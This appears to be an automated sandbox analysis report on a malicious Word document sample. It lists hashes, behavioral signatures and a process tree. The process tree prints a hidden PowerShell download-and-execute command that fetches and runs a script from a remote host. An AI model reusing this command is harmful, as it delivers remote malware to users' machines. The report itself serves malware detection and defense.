Resubmissions
22-11-2024 01:21
241122-bqr1ps1nax 10Analysis
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max time kernel
56s -
max time network
20s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
22-11-2024 01:21
Behavioral task
behavioral1
Sample
68238802bf5eb3900f9be03eda70dbf4cf95522d7c54f6d153ef8edaf9dca401.doc
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
68238802bf5eb3900f9be03eda70dbf4cf95522d7c54f6d153ef8edaf9dca401.doc
Resource
win10v2004-20241007-en
General
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Target
68238802bf5eb3900f9be03eda70dbf4cf95522d7c54f6d153ef8edaf9dca401.doc
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Size
32KB
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MD5
50e418fbf365040c4de7e2ac2159472a
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SHA1
47c814b27ead61337da3fb4d0f9e9bd29ed3711c
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SHA256
68238802bf5eb3900f9be03eda70dbf4cf95522d7c54f6d153ef8edaf9dca401
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SHA512
9f55ce9ab84b77cd6798753d853f049f1a0ffa8d251c8ab4a30c4dfc02206451988dc881cbfeb3d1cdf994d14732325cdeee408fb72229d4caed1727c269282b
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SSDEEP
384:h+8iSwvxjk+t+lrqrXdbXdCRJg0jEc6tu:hMxw+tYsJEMS
Malware Config
Extracted
http://192.168.45.199/health
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2768 2684 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
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Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 2280 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2768 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2768 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 2280 WINWORD.EXE 2280 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
WINWORD.EXEdescription pid process target process PID 2280 wrote to memory of 2976 2280 WINWORD.EXE splwow64.exe PID 2280 wrote to memory of 2976 2280 WINWORD.EXE splwow64.exe PID 2280 wrote to memory of 2976 2280 WINWORD.EXE splwow64.exe PID 2280 wrote to memory of 2976 2280 WINWORD.EXE splwow64.exe
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\68238802bf5eb3900f9be03eda70dbf4cf95522d7c54f6d153ef8edaf9dca401.doc"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2280 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:2976
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring('http://192.168.45.199/health'))1⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2768